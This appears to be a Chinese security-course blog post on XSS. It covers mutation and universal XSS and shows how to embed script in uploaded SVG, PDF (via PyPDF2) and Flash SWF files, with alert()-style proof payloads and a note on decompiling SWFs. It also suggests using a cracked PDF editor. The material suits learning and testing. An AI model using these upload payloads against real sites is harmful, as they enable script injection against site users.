当前位置: 首页 > news >正文

DAY53WEB 攻防-XSS 跨站SVGPDFFlashMXSSUXSS配合上传文件添加脚本

知识点:

1、XSS跨站-MXSS&UXSS

2、XSS跨站-SVG制作&配合上传

3、XSS跨站-PDF制作&配合上传

4、XSS跨站-SWF制作&反编译&上传

XSS分类:https://www.fooying.com/the-art-of-xss-1-introduction/失效了

MXSS

现在基本上见不到

UXSS:Universal Cross-Site Scripting

针对浏览器的漏洞,几乎见不到

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。

MICROSOFT EDGE uXSS CVE-2021-34506(有浏览器版本限制)

Edge浏览器翻译功能导致JS语句被调用执行(网站提前插入XSS代码,本身无害化,但是经过该浏览器翻译功能一翻译,就会触发这个XSS代码)

https://www.bilibili.com/video/BV1fX4y1c7rX

HTML&SVG&PDF&SWF-XSS&上传&反编译(有几率碰到)

SVG-XSS

可以理解为和jpg、png类似的后缀图片格式,打开之后还是一个图片

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">

   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />

   <script>alert(1)</script>

</svg>

通过文件上传功能上传一个SVG文件(该文件已经提前植入XSS代码),然后在访问这个上传后的svg地址即可触发上图效果

PDF-XSS

1、创建PDF,加入动作JS

2、通过文件上传获取直链

3、直链地址访问后被触发

项目:迅捷PDF编辑器试用版

项目制作工具:迅捷PDF编辑器试用版(最好网上找破解版,然后导入其他正常的pdf,在正常的pdf插入js动作)

Python生成XSS

首先我们需要安装Python中相应的模块,执行下面命令进行安装。

pip install PyPDF2

利用python创建一个含有XSS的PDF文件。

from PyPDF2 import PdfReader, PdfWriter

# 创建一个新的 PDF 文档

output_pdf = PdfWriter()

# 添加一个新页面

page = output_pdf.add_blank_page(width=72, height=72)

# 添加js代码

output_pdf.add_js("app.alert('123');")

# 将新页面写入到新 PDF 文档中

with open("xss.pdf", "wb") as f:

    output_pdf.write(f)

使用python3运行这个python文件即可在当前目录下生成一个XSS.pdf文件,用浏览器打开这个pdf即可触发js代码

和正常PDF绑定

from PyPDF2 import PdfReader, PdfWriter

# 打开原始 22.PDF 文件

input_pdf = PdfReader("22.pdf")

# 创建一个新的 PDF 文档

output_pdf = PdfWriter()

# 将现有的 PDF 页面复制到新文档

for i in range(len(input_pdf.pages)):

    output_pdf.add_page(input_pdf.pages[i])

# 添加 javaScript 代码

output_pdf.add_js("app.alert('123');")

# 将新 PDF 文档写入到文件中

with open("xssplus.pdf", "wb") as f:

output_pdf.write(f)

提前准备好一个22.pdf文件,与当前py脚本放在同一个目录下,运行该py脚本即可在当前目录下生成一个xssplus.pdf

Flash-XSS

新建swf文件(SWF文件是Flash动画文件格式)

F9进入代码区域

属性发布设置解析(root指当前swf文件)

//取m参数

var m=_root.m;

//调用html中Javascript中的m参数值

flash.external.ExternalInterface.call(m);

触发:?m=alert(/xss/)

项目制作工具:Adobe Flash Professional CS6

实战中如何利用?

通过文件上传自己制作的swf文件然后去访问执行

对本身的swf文件反编译逆向,分析触发点,文件上传触发JS

通过文件上传这个SWF文件后访问进行JS触发

测试swf文件xss安全性:

逆向项目:JPEXS Free Flash Decompiler

1、反编译swf文件

2、查找触发危险函数

3、找可控参数访问触发

xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call(最多),htmlText,loadMovie等等


http://www.mrgr.cn/news/51797.html

相关文章:

  • 【LeetCode】14.最长公共前缀
  • 代码随想录day40:动态规划part13
  • 【文献及模型、制图分享】干旱区山水林田湖草沙冰一体化保护与系统治理——基于土地退化平衡视角
  • 股票分析软件设计
  • 【C++11入门】新特性总结之lambda表达式
  • 人机之间的系统论不同于机器之间的系统论
  • 关于jmeter中没有jp@gc - response times over time
  • 华为OD机试真题---选修课
  • 分享一个图片RGB以及16进制颜色提取的在线网站
  • js高级-理解call()的原理
  • 【MySQL】入门篇—基本数据类型:使用ORDER BY进行排序
  • 【分布式微服务云原生】《Redis 缓存污染问题全解析及淘汰策略深度探索》
  • 1015邮件定时发送作业
  • Python库numpy之三
  • CCleaner Pro v6.29.11342 系统清理优化软件绿色便携版
  • PyQt入门指南十八 QSpinBox和QDoubleSpinBox微调框组件
  • 冒泡排序.
  • QCOM-Tools 高通工具QXDM、QCAT和QPST的使用
  • AI大模型带来哪些创业机遇?
  • 计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-16